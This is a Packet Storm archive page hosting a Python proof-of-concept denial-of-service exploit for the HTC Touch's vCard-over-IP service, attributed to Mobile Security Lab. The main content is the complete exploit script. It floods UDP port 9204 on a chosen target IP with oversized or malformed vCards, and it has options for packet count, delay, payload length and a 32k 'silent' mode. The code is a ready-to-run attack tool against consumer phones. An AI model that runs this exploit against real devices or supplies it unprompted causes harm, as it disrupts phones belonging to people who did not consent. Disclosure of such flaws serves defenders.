the last unbiased stronghold

HTC Touch vCard Over IP Denial Of Service

HTC Touch vCard Over IP Denial Of Service
Posted Feb 27, 2009
Site mseclab.com

Proof of concept denial of service exploit for the HTC Touch vCard over IP that sends vCards to port UDP/9204.

tags | exploit, denial of service, udp, proof of concept
MD5 | e972043b77a48f18ab176344407b7900

HTC Touch vCard Over IP Denial Of Service

Change Mirror Download
#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
# Local variables
num_packets = DEF_NUM_PACKETS
delay = DEF_DELAY

print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
# Parsing options
parser = OptionParser("usage: %prog [options] target_IP")
parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

# Parse input
(options, args) = parser.parse_args()
if len(args) != 1:
parser.print_help()
print ""
exit(1)

if options.count:
num_packets = options.count

if options.delay:
delay = options.delay

if options.silence:
vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
elif options.len:
vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
elif options.text:
vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
else:
vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

# Socket creation
udp_sock = socket(AF_INET, SOCK_DGRAM)
ADDR = (args[0],PORT)

# Start sending packet
counter = 1
c_lap = 0
total_data = 0
print "Sending %d packets... to %s" % (num_packets,ADDR)
start_time = time()
start_lap = time()

# Start sending packet
while counter <= num_packets:
len_sent = udp_sock.sendto(vcard_body,ADDR)
if len_sent != len(vcard_body):
print "Error sending packet n.%d" %counter
break

# Update Counter
counter += 1
c_lap += 1
total_data += len_sent

# Sleep for letting the device parse vcards
sleep(delay)

# Check number of packets in a second
local_lap = time()
if local_lap - start_lap >= 1:
print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
start_lap = local_lap
c_lap = 0

stop_time = time()
stop_sec = stop_time - start_time

# Display info
print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
print "Start time: %s" %ctime(start_time)
print "Stop time: %s" %ctime(stop_time)
print "Payload Len = %d bytes" % len(vcard_body)
print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
main()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close